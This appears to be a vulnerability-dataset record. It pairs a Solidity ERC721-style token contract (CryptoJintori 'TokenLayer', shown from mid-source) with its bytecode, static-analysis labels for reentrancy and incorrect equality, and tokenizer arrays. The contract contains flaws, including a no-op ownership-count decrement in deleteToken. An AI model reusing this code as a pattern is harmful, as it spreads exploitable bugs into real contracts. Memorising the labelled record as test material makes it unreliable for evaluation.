newParentId); event NameChanged(uint256 tokenId, bytes32 oldName, bytes32 newName); event MetaDataChanged(uint256 tokenId, bytes32 oldMeta, bytes32 newMeta); /******************************************** STORAGE ***********************************************/ uint256 private constant DEFAULTPARENT = 123456789; mapping (uint256 => Token) private tokenIndexToToken; mapping (address => uint256) private ownershipTokenCount; address public gameAddress; address public parentAddr; uint256 private totalTokens; uint256 public devFee = 50; uint256 public ownerFee = 200; uint256[10] private chainFees = [10]; struct Token { bool exists; address approved; address owner; bytes32 metadata; bytes32 name; uint256 lastBlock; uint256 parentId; uint256 price; } /******************************************* MODIFIERS **********************************************/ modifier onlySystem() { require((msg.sender == gameAddress) || (msg.sender == manager)); _; } /****************************************** CONSTRUCTOR *********************************************/ function TokenLayer(address _gameAddress, address _parentAddr) public { gameAddress = _gameAddress; parentAddr = _parentAddr; } /********************************************** PUBLIC **********************************************/ function implementsERC721() public pure returns (bool) { return true; } function name() public pure returns (string) { return "CryptoJintori"; } function symbol() public pure returns (string) { return "RegionToken"; } function approve(address _to, uint256 _tokenId, address _from) public onlySystem { _approve(_to, _tokenId, _from); } function approve(address _to, uint256 _tokenId) public isUnlocked { _approve(_to, _tokenId, msg.sender); } function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } function bundleToken(uint256 _tokenId) public view returns(uint256[8] _tokenData) { Token storage token = tokenIndexToToken[_tokenId]; uint256[8] memory tokenData; tokenData[0] = uint256(token.name); tokenData[1] = token.parentId; tokenData[2] = token.price; tokenData[3] = uint256(token.owner); tokenData[4] = _getNextPrice(_tokenId); tokenData[5] = devFee+getChainFees(_tokenId); tokenData[6] = uint256(token.approved); tokenData[7] = uint256(token.metadata); return tokenData; } function takeOwnership(uint256 _tokenId, address _to) public onlySystem { _takeOwnership(_tokenId, _to); } function takeOwnership(uint256 _tokenId) public isUnlocked { _takeOwnership(_tokenId, msg.sender); } function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 _totalTokens = totalSupply(); uint256 resultIndex = 0; uint256 tokenId = 0; uint256 tokenIndex = 0; while (tokenIndex <= _totalTokens) { if (exists(tokenId)) { tokenIndex++; if (tokenIndexToToken[tokenId].owner == _owner) { result[resultIndex] = tokenId; resultIndex++; } } tokenId++; } return result; } } function totalSupply() public view returns (uint256 total) { return totalTokens; } function transfer(address _to, address _from, uint256 _tokenId) public onlySystem { _checkThenTransfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public isUnlocked { _checkThenTransfer(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public onlySystem { _transferFrom(_from, _to, _tokenId); } function transferFrom(address _from, uint256 _tokenId) public isUnlocked { _transferFrom(_from, msg.sender, _tokenId); } function createToken( uint256 _tokenId, address _owner, bytes32 _name, uint256 _parentId, uint256 _price, bytes32 _metadata ) public onlyAdmin { require(_price > 0); require(_addressNotNull(_owner)); require(_tokenId == uint256(uint32(_tokenId))); require(!exists(_tokenId)); totalTokens++; Token memory _token = Token({ name: _name, parentId: _parentId, exists: true, price: _price, owner: _owner, approved : 0, lastBlock : block.number, metadata : _metadata }); tokenIndexToToken[_tokenId] = _token; TokenCreated(_tokenId, _name, _parentId, _owner); _transfer(address(0), _owner, _tokenId); } function createTokens( uint256[] _tokenIds, address[] _owners, bytes32[] _names, uint256[] _parentIds, uint256[] _prices, bytes32[] _metadatas ) public onlyAdmin { for (uint256 id = 0; id < _tokenIds.length; id++) { createToken( _tokenIds[id], _owners[id], _names[id], _parentIds[id], _prices[id], _metadatas[id] ); } } function deleteToken(uint256 _tokenId) public onlyAdmin { require(_tokenId == uint256(uint32(_tokenId))); require(exists(_tokenId)); totalTokens--; address oldOwner = tokenIndexToToken[_tokenId].owner; ownershipTokenCount[oldOwner] = ownershipTokenCount[oldOwner]--; delete tokenIndexToToken[_tokenId]; TokenDeleted(_tokenId); } function incrementPrice(uint256 _tokenId, address _to) public onlySystem { require(exists(_tokenId)); uint256 _price = tokenIndexToToken[_tokenId].price; address _owner = tokenIndexToToken[_tokenId].owner; uint256 _totalFees = getChainFees(_tokenId); tokenIndexToToken[_tokenId].price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees)); TokenSold( _tokenId, _price, tokenIndexToToken[_tokenId].price, _owner, _to, tokenIndexToToken[_tokenId].name, tokenIndexToToken[_tokenId].parentId ); } function ownerOf(uint256 _tokenId) public view returns (address _owner) { require(exists(_tokenId)); _owner = tokenIndexToToken[_tokenId].owner; } function blocked(uint256 _tokenId) public view returns (bool _blocked) { return (tokenIndexToToken[_tokenId].lastBlock == block.number); } function exists(uint256 _tokenId) public view returns(bool) { return (tokenIndexToToken[_tokenId].exists); } /********************************************** SETTERS *********************************************/ function setLayerParent(address _parent) public onlyAdmin { parentAddr = _parent; } function setGame(address _gameAddress) public onlyAdmin { gameAddress = _gameAddress; } function setPrice(uint256 _tokenId, uint256 _price, address _owner) public onlySystem { require(_owns(_owner, _tokenId)); uint256 oldPrice = tokenIndexToToken[_tokenId].price; tokenIndexToToken[_tokenId].price = _price; PriceChanged(_tokenId, oldPrice, _price); } function setParent(uint256 _tokenId, uint256 _parentId) public onlyAdmin { require(exists(_tokenId)); uint256 oldParentId = tokenIndexToToken[_tokenId].parentId; tokenIndexToToken[_tokenId].parentId = _parentId; ParentChanged(_tokenId, oldParentId, _parentId); } function setName(uint256 _tokenId, bytes32 _name) public onlyAdmin { require(exists(_tokenId)); bytes32 oldName = tokenIndexToToken[_tokenId].name; tokenIndexToToken[_tokenId].name = _name; NameChanged(_tokenId, oldName, _name); } function setMetadata(uint256 _tokenId, bytes32 _metadata) public onlyAdmin { require(exists(_tokenId)); bytes32 oldMeta = tokenIndexToToken[_tokenId].metadata; tokenIndexToToken[_tokenId].metadata = _metadata; MetaDataChanged(_tokenId, oldMeta, _metadata); } function setDevFee(uint256 _devFee) public onlyAdmin { devFee = _devFee; } function setOwnerFee(uint256 _ownerFee) public onlyAdmin { ownerFee = _ownerFee; } function setChainFees(uint256[10] _chainFees) public onlyAdmin { chainFees = _chainFees; } /********************************************** GETTERS *********************************************/ function getToken(uint256 _tokenId) public view returns ( bytes32 tokenName, uint256 parentId, uint256 price, address _owner, uint256 nextPrice, uint256 nextPriceFees, address approved, bytes32 metadata ) { Token storage token = tokenIndexToToken[_tokenId]; tokenName = token.name; parentId = token.parentId; price = token.price; _owner = token.owner; nextPrice = _getNextPrice(_tokenId); nextPriceFees = devFee+getChainFees(_tokenId); metadata = token.metadata; approved = token.approved; } function getChainFees(uint256 _tokenId) public view returns (uint256 _total) { uint256 chainLength = _getChainLength(_tokenId); uint256 totalFee = 0; for (uint id = 0; id < chainLength; id++) { totalFee = totalFee + chainFees[id]; } return(totalFee); } function getChainFeeArray() public view returns (uint256[10] memory _chainFees) { return(chainFees); } function getPriceOf(uint256 _tokenId) public view returns (uint256 price) { require(exists(_tokenId)); return tokenIndexToToken[_tokenId].price; } function getParentOf(uint256 _tokenId) public view returns (uint256 parentId) { require(exists(_tokenId)); return tokenIndexToToken[_tokenId].parentId; } function getMetadataOf(uint256 _tokenId) public view returns (bytes32 metadata) { require(exists(_tokenId)); return (tokenIndexToToken[_tokenId].metadata); } function getChain(uint256 _tokenId) public view returns (address[10] memory _owners) { require(exists(_tokenId)); uint256 _parentId = getParentOf(_tokenId); address _parentAddr = parentAddr; address[10] memory result; if (_parentId != DEFAULTPARENT && _addressNotNull(_parentAddr)) { uint256 resultIndex = 0; TokenLayer layer = TokenLayer(_parentAddr); bool parentExists = layer.exists(_parentId); while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) { parentExists = layer.exists(_parentId); if (!parentExists) { return(result); } result[resultIndex] = layer.ownerOf(_parentId); resultIndex++; _parentId = layer.getParentOf(_parentId); _parentAddr = layer.parentAddr(); layer = TokenLayer(_parentAddr); } return(result); } } /******************************************** PRIVATE ***********************************************/ function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } function _approved(address _to, uint256 _tokenId) private view returns (bool) { return (tokenIndexToToken[_tokenId].approved == _to); } function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == tokenIndexToToken[_tokenId].owner; } function _checkThenTransfer(address _from, address _to, uint256 _tokenId) private { require(_owns(_from, _tokenId)); require(_addressNotNull(_to)); require(exists(_tokenId)); _transfer(_from, _to, _tokenId); } function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; tokenIndexToToken[_tokenId].owner = _to; tokenIndexToToken[_tokenId].lastBlock = block.number; if (_from != address(0)) { ownershipTokenCount[_from]--; tokenIndexToToken[_tokenId].approved = 0; } Transfer(_from, _to, _tokenId); } function _approve(address _to, uint256 _tokenId, address _from) private { require(_owns(_from, _tokenId)); tokenIndexToToken[_tokenId].approved = _to; Approval(_from, _to, _tokenId); } function _takeOwnership(uint256 _tokenId, address _to) private { address newOwner = _to; address oldOwner = tokenIndexToToken[_tokenId].owner; require(_addressNotNull(newOwner)); require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } function _transferFrom(address _from, address _to, uint256 _tokenId) private { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } function _getChainLength(uint256 _tokenId) private view returns (uint256 _length) { uint256 length; uint256 _parentId = getParentOf(_tokenId); address _parentAddr = parentAddr; if (_parentId == DEFAULTPARENT || !_addressNotNull(_parentAddr)) { return 0; } TokenLayer layer = TokenLayer(_parentAddr); bool parentExists = layer.exists(_parentId); while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) { parentExists = layer.exists(_parentId); if(!parentExists) { return(length); } _parentId = layer.getParentOf(_parentId); _parentAddr = layer.parentAddr(); layer = TokenLayer(_parentAddr); length++; } return(length); } function _getNextPrice(uint256 _tokenId) private view returns (uint256 _nextPrice) { uint256 _price = tokenIndexToToken[_tokenId].price; uint256 _totalFees = getChainFees(_tokenId); _price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees)); return(_price); } }
0x6060604052600436106102425763ffffffff60e060020a60003504166301c6adc3811461024757806306fdde031461026b578063095ea7b3146102f55780630b7e9c44146103175780630c990004146103365780631051db34146103645780631271f09a1461038b57806313e75206146103b457806315328109146103dc57806318160ddd1461040b57806318384df21461041e5780631c75b6b214610434578063223e97be1461044a57806323b872dd146104635780632ce0ca6b1461048b5780633151609e146104c7578063481c6a75146104e05780634f558e79146104f357806353ebf6bd146105095780636297c16c146105215780636352211e14610537578063645cd0461461054d5780636827e7641461059c57806370a08231146105af578063718eaa50146105ce578063819912a2146105ed5780638462151c1461060c578063897a7dab1461067e5780638da5cb5b1461080d57806395d89b41146108205780639d77e4f814610833578063a12396aa14610849578063a168d87314610862578063a9059cbb14610875578063b2e6ceeb14610897578063b54b4fb9146108ad578063b6791ad4146108c3578063b7d9549c146108f4578063ba0e930a14610916578063beabacc814610935578063c10753291461095d578063ce2c6ad51461097f578063cf837fad14610992578063d5182b70146109a5578063d5b2a01a146109bb578063e4b50cb8146109ce578063f2fde38b14610a34578063f83fcdea14610a53578063fbf0ade114610a78578063ff5f8b4b14610a8e575b600080fd5b341561025257600080fd5b610269600160a060020a0360043516602435610ab0565b005b341561027657600080fd5b61027e610ad6565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102ba5780820151838201526020016102a2565b50505050905090810190601f1680156102e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561030057600080fd5b610269600160a060020a0360043516602435610b18565b341561032257600080fd5b610269600160a060020a0360043516610b3a565b341561034157600080fd5b610269600435600160a060020a036024351660443560643560843560a435610be3565b341561036f57600080fd5b610377610dd3565b604051901515815260200160405180910390f35b341561039657600080fd5b610269600160a060020a036004358116906024359060443516610dd8565b34156103bf57600080fd5b6103ca600435610e1e565b60405190815260200160405180910390f35b34156103e757600080fd5b6103ef610e4a565b604051600160a060020a03909116815260200160405180910390f35b341561041657600080fd5b6103ca610e59565b341561042957600080fd5b6103ca600435610e5f565b341561043f57600080fd5b610269600435610e8c565b341561045557600080fd5b610269600435602435610ec7565b341561046e57600080fd5b610269600160a060020a0360043581169060243516604435610f7d565b341561049657600080fd5b610269600461014481600a610140604051908101604052919082826101408082843750939550610fbe945050505050565b34156104d257600080fd5b610269600435602435611001565b34156104eb57600080fd5b6103ef6110b7565b34156104fe57600080fd5b6103776004356110c6565b341561051457600080fd5b61026960043515156110db565b341561052c57600080fd5b610269600435611182565b341561054257600080fd5b6103ef600435611290565b341561055857600080fd5b6105636004356112c5565b604051808261010080838360005b83811015610589578082015183820152602001610571565b5050505090500191505060405180910390f35b34156105a757600080fd5b6103ca611363565b34156105ba57600080fd5b6103ca600160a060020a0360043516611369565b34156105d957600080fd5b610269600160a060020a0360043516611384565b34156105f857600080fd5b610269600160a060020a03600435166113dc565b341561061757600080fd5b61062b600160a060020a0360043516611434565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561066a578082015183820152602001610652565b505050509050019250505060405180910390f35b341561068957600080fd5b6102696004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061153495505050505050565b341561081857600080fd5b6103ef61160e565b341561082b57600080fd5b61027e61161d565b341561083e57600080fd5b6103ca60043561165e565b341561085457600080fd5b6102696004356024356116a4565b341561086d57600080fd5b6103ef61175a565b341561088057600080fd5b610269600160a060020a0360043516602435611769565b34156108a257600080fd5b61026960043561178b565b34156108b857600080fd5b6103ca6004356117ac565b34156108ce57600080fd5b6108d96004356117d8565b60405180826101408083836000815183820152602001610571565b34156108ff57600080fd5b610269600435600160a060020a0360243516611ab6565b341561092157600080fd5b610269600160a060020a0360043516611c07565b341561094057600080fd5b610269600160a060020a0360043581169060243516604435611cb0565b341561096857600080fd5b610269600160a060020a0360043516602435611cf1565b341561098a57600080fd5b6108d9611d9d565b341561099d57600080fd5b610377611ddc565b34156109b057600080fd5b610377600435611dec565b34156109c657600080fd5b6103ca611e03565b34156109d957600080fd5b6109e4600435611e09565b6040519788526020880196909652604080880195909552600160a060020a039384166060880152608087019290925260a08601521660c084015260e0830191909152610100909101905180910390f35b3415610a3f57600080fd5b610269600160a060020a0360043516611e84565b3415610a5e57600080fd5b610269600435602435600160a060020a0360443516611f12565b3415610a8357600080fd5b610269600435611fca565b3415610a9957600080fd5b610269600435600160a060020a0360243516612005565b60015460a060020a900460ff1615610ac757600080fd5b610ad2823383612045565b5050565b610ade6125c6565b60408051908101604052600d81527f43727970746f4a696e746f726900000000000000000000000000000000000000602082015290505b90565b60015460a060020a900460ff1615610b2f57600080fd5b610ad282823361208e565b60005433600160a060020a03908116911614610b5557600080fd5b600160a060020a0381161515610ba357600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610b9e57600080fd5b610be0565b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515610be057600080fd5b50565b610beb6125d8565b60015433600160a060020a0390811691161480610c16575060005433600160a060020a039081169116145b1515610c2157600080fd5b60008311610c2e57600080fd5b610c3786612123565b1515610c4257600080fd5b63ffffffff87168714610c5457600080fd5b610c5d876110c6565b15610c6757600080fd5b60068054600101905561010060405190810160409081526001825260006020808401829052600160a060020a038a168385015260608401869052608084018990524360a085015260c0840188905260e084018790528a8252600290522090915081908151815460ff191690151517815560208201518154600160a060020a03919091166101000274ffffffffffffffffffffffffffffffffffffffff00199091161781556040820151600182018054600160a060020a031916600160a060020a0392909216919091179055606082015160028201556080820151600382015560a0820151816004015560c0820151816005015560e0820151600690910155507f50149f528b157cc2203af9bb98c3c320364694d9ffc6da5cc0b5ef6d2e8a1398878686896040519384526020840192909252604080840191909152600160a060020a0390911660608301526080909101905180910390a1610dca60008789612131565b50505050505050565b600190565b60045433600160a060020a0390811691161480610e03575060015433600160a060020a039081169116145b1515610e0e57600080fd5b610e1983838361208e565b505050565b6000610e29826110c6565b1515610e3457600080fd5b5060009081526002602052604090206005015490565b600554600160a060020a031681565b60065490565b6000610e6a826110c6565b1515610e7557600080fd5b506000908152600260208190526040909120015490565b60015433600160a060020a0390811691161480610eb7575060005433600160a060020a039081169116145b1515610ec257600080fd5b600755565b60015460009033600160a060020a0390811691161480610ef5575060005433600160a060020a039081169116145b1515610f0057600080fd5b610f09836110c6565b1515610f1457600080fd5b5060008281526002602052604090819020600501805490839055907fd6c4347571cebd49451e87a1c1b833ca84791009a139f27d0dcf3159e96a08a5908490839085905180848152602001838152602001828152602001935050505060405180910390a1505050565b60045433600160a060020a0390811691161480610fa8575060015433600160a060020a039081169116145b1515610fb357600080fd5b610e19838383612045565b60015433600160a060020a0390811691161480610fe9575060005433600160a060020a039081169116145b1515610ff457600080fd5b610ad2600982600a61261c565b60015460009033600160a060020a039081169116148061102f575060005433600160a060020a039081169116145b151561103a57600080fd5b611043836110c6565b151561104e57600080fd5b5060008281526002602081905260409182902001805490839055907fb7b3fa00c09f5253e4c6bc72c004a0977965613f9f533cfb93014dade835fcb5908490839085905192835260208301919091526040808301919091526060909101905180910390a1505050565b600154600160a060020a031681565b60009081526002602052604090205460ff1690565b60015433600160a060020a0390811691161480611106575060005433600160a060020a039081169116145b151561111157600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a831515021790557fd1b3ccafda2b2f8613e51c6ac4f6e844932f92b0058df6d7ee800b152f55a00d3382604051600160a060020a039092168252151560208201526040908101905180910390a150565b60015460009033600160a060020a03908116911614806111b0575060005433600160a060020a039081169116145b15156111bb57600080fd5b63ffffffff821682146111cd57600080fd5b6111d6826110c6565b15156111e157600080fd5b50600680546000190181556000828152600260208190526040808320600181018054825474ffffffffffffffffffffffffffffffffffffffffff19168355600160a060020a0319811690915592810184905560038101849055600481018490556005810184905590930191909155600160a060020a0316907f5dd85a7dcd757c302c9d79eb5d4c00cfb8c98f5f4f41c52408f7d25233e54e959083905190815260200160405180910390a15050565b600061129b826110c6565b15156112a657600080fd5b50600090815260026020526040902060010154600160a060020a031690565b6112cd61265a565b60006112d761265a565b600084815260026020908152604091829020600381015484526005810154918401919091526006810154918301919091526001810154600160a060020a0316606083015291506113268461221b565b60808201526113348461165e565b6007540160a082015281546101009004600160a060020a031660c082015260029091015460e082015292915050565b60075481565b600160a060020a031660009081526003602052604090205490565b60015433600160a060020a03908116911614806113af575060005433600160a060020a039081169116145b15156113ba57600080fd5b60058054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a0390811691161480611407575060005433600160a060020a039081169116145b151561141257600080fd5b60048054600160a060020a031916600160a060020a0392909216919091179055565b61143c6125c6565b60006114466125c6565b60008060008061145588611369565b955085151561148557600060405180591061146d5750595b90808252806020026020018201604052509650611529565b856040518059106114935750595b908082528060200260200182016040525094506114ae610e59565b93506000925060009150600090505b838111611525576114cd826110c6565b1561151a576000828152600260205260409020600190810154910190600160a060020a038981169116141561151a578185848151811061150957fe5b602090810290910101526001909201915b6001909101906114bd565b8496505b505050505050919050565b60015460009033600160a060020a0390811691161480611562575060005433600160a060020a039081169116145b151561156d57600080fd5b5060005b8651811015610dca5761160687828151811061158957fe5b9060200190602002015187838151811061159f57fe5b906020019060200201518784815181106115b557fe5b906020019060200201518785815181106115cb57fe5b906020019060200201518786815181106115e157fe5b906020019060200201518787815181106115f757fe5b90602001906020020151610be3565b600101611571565b600054600160a060020a031681565b6116256125c6565b60408051908101604052600b81527f526567696f6e546f6b656e0000000000000000000000000000000000000000006020820152905090565b60008060008061166d85612266565b925060009150600090505b8281101561169c57600981600a811061168d57fe5b01549190910190600101611678565b509392505050565b60015460009033600160a060020a03908116911614806116d2575060005433600160a060020a039081169116145b15156116dd57600080fd5b6116e6836110c6565b15156116f157600080fd5b5060008281526002602052604090819020600301805490839055907f6e94426bbffb1bc76323b8410b8c5a5197aee10363f4ed90079eb17a4c07eef5908490839085905192835260208301919091526040808301919091526060909101905180910390a1505050565b600454600160a060020a031681565b60015460a060020a900460ff161561178057600080fd5b610ad23383836124a8565b60015460a060020a900460ff16156117a257600080fd5b610be081336124da565b60006117b7826110c6565b15156117c257600080fd5b5060009081526002602052604090206006015490565b6117e0612682565b6000806117eb612682565b60008060006117f9886110c6565b151561180457600080fd5b61180d88610e1e565b600554909650600160a060020a0316945063075bcd158614801590611836575061183685612123565b15611529576000925084915081600160a060020a0316634f558e798760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561189157600080fd5b6102c65a03f115156118a257600080fd5b50505060405180519150505b63075bcd1586141580156118c657506118c685612123565b80156118cf5750805b15611aae5781600160a060020a0316634f558e798760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561192357600080fd5b6102c65a03f1151561193457600080fd5b505050604051805191505080151561194e57839650611529565b81600160a060020a0316636352211e8760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561199d57600080fd5b6102c65a03f115156119ae57600080fd5b505050604051805190508484600a81106119c457fe5b600160a060020a03928316602091909102919091015260019093019282166313e752068760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515611a2757600080fd5b6102c65a03f11515611a3857600080fd5b5050506040518051965050600160a060020a03821663153281096000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611a8957600080fd5b6102c65a03f11515611a9a57600080fd5b5050506040518051905094508491506118ae565b839650611529565b6004546000908190819033600160a060020a0390811691161480611ae8575060015433600160a060020a039081169116145b1515611af357600080fd5b611afc856110c6565b1515611b0757600080fd5b60008581526002602052604090206006810154600190910154909350600160a060020a03169150611b378561165e565b9050611b6a81600754016103e803611b5e6008546103e8018661253190919063ffffffff16565b9063ffffffff61256716565b600086815260026020526040908190206006810183905560038101546005909101547feb27367f0e316117420e252c8ac385803e0c10190473338e035ef412226cf17a9389938893919288928b92909190519687526020870195909552604080870194909452600160a060020a0392831660608701529116608085015260a084015260c083019190915260e0909101905180910390a15050505050565b60015433600160a060020a0390811691161480611c32575060005433600160a060020a039081169116145b1515611c3d57600080fd5b600160a060020a0381161515611c5257600080fd5b600154600160a060020a0380831691167f9cb45c728de594dab506a1f1a8554e24c8eeaf983618d5ec5dd7bc6f3c49feee60405160405180910390a360018054600160a060020a031916600160a060020a0392909216919091179055565b60045433600160a060020a0390811691161480611cdb575060015433600160a060020a039081169116145b1515611ce657600080fd5b610e198284836124a8565b60005433600160a060020a03908116911614611d0c57600080fd5b600160a060020a0330163181901015611d2457600080fd5b600160a060020a0382161515611d6c57600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515611d6757600080fd5b610ad2565b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610ad257600080fd5b611da56126ab565b6009600a6101406040519081016040529190610140830182845b815481526020019060010190808311611dbf575050505050905090565b60015460a060020a900460ff1681565b600090815260026020526040902060040154431490565b60085481565b60008181526002602052604081206003810154600582015460068301546001840154929491939092600160a060020a03169190819081908190611e4b8a61221b565b9450611e568a61165e565b600754600283015492549a9c999b5097999698959701956101009004600160a060020a031694909350915050565b60005433600160a060020a03908116911614611e9f57600080fd5b600160a060020a0381161515611eb457600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60045460009033600160a060020a0390811691161480611f40575060015433600160a060020a039081169116145b1515611f4b57600080fd5b611f55828561257e565b1515611f6057600080fd5b5060008381526002602052604090819020600601805490849055907f2bce37c591c5b0d254c3056688b080a088f160fff82b6e79f456c8a20d5570f6908590839086905180848152602001838152602001828152602001935050505060405180910390a150505050565b60015433600160a060020a0390811691161480611ff5575060005433600160a060020a039081169116145b151561200057600080fd5b600855565b60045433600160a060020a0390811691161480612030575060015433600160a060020a039081169116145b151561203b57600080fd5b610ad282826124da565b61204f838261257e565b151561205a57600080fd5b61206482826125a1565b151561206f57600080fd5b61207882612123565b151561208357600080fd5b610e19838383612131565b612098818361257e565b15156120a357600080fd5b600082815260026020526040908190208054600160a060020a03808716610100810274ffffffffffffffffffffffffffffffffffffffff00199093169290921790925591908316907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a3505050565b600160a060020a0316151590565b600160a060020a0380831660008181526003602090815260408083208054600190810190915586845260029092529091209081018054600160a060020a031916909217909155436004909101558316156121cf57600160a060020a0383166000908152600360209081526040808320805460001901905583835260029091529020805474ffffffffffffffffffffffffffffffffffffffff00191690555b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a3505050565b600081815260026020526040812060060154816122378461165e565b905061225e81600754016103e803611b5e6008546103e8018561253190919063ffffffff16565b949350505050565b60008060008060008061227887610e1e565b600554909450600160a060020a0316925063075bcd158414806122a1575061229f83612123565b155b156122af576000955061249e565b82915081600160a060020a0316634f558e798560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561230157600080fd5b6102c65a03f1151561231257600080fd5b50505060405180519150505b63075bcd158414158015612336575061233683612123565b801561233f5750805b1561249a5781600160a060020a0316634f558e798560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561239357600080fd5b6102c65a03f115156123a457600080fd5b50505060405180519150508015156123be5784955061249e565b81600160a060020a03166313e752068560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561240d57600080fd5b6102c65a03f1151561241e57600080fd5b5050506040518051945050600160a060020a03821663153281096000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561246f57600080fd5b6102c65a03f1151561248057600080fd5b5050506040518051600190960195935083925061231e9050565b8495505b5050505050919050565b6124b2838261257e565b15156124bd57600080fd5b6124c682612123565b15156124d157600080fd5b612078816110c6565b6000828152600260205260409020600101548190600160a060020a031661250082612123565b151561250b57600080fd5b61251582856125a1565b151561252057600080fd5b61252b818386612131565b50505050565b6000808315156125445760009150612560565b5082820282848281151561255457fe5b041461255c57fe5b8091505b5092915050565b600080828481151561257557fe5b04949350505050565b600090815260026020526040902060010154600160a060020a0390811691161490565b6000908152600260205260409020546101009004600160a060020a0390811691161490565b60206040519081016040526000815290565b6101006040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e082015290565b82600a810192821561264a579160200282015b8281111561264a57825182559160200191906001019061262f565b506126569291506126c6565b5090565b6101006040519081016040526008815b600081526020019060019003908161266a5790505090565b610140604051908101604052600a815b6000815260001990910190602001816126925790505090565b6101406040519081016040526000815260096020820161266a565b610b1591905b8082111561265657600081556001016126cc5600a165627a7a723058208dba31dc5d9944697ce77ca68a28b04fbe4404b8b61c3e0e8129a9e2ae31ba4e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2692, 2278, 22407, 2581, 2581, 2497, 2629, 2094, 2549, 7011, 2487, 2050, 22610, 2575, 2050, 2620, 15136, 23777, 23833, 4246, 2509, 12879, 2050, 2692, 2546, 2683, 2629, 2546, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2240, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,451
0x96d0e499b052c90b6b3b72a9611ce7f9b947363c
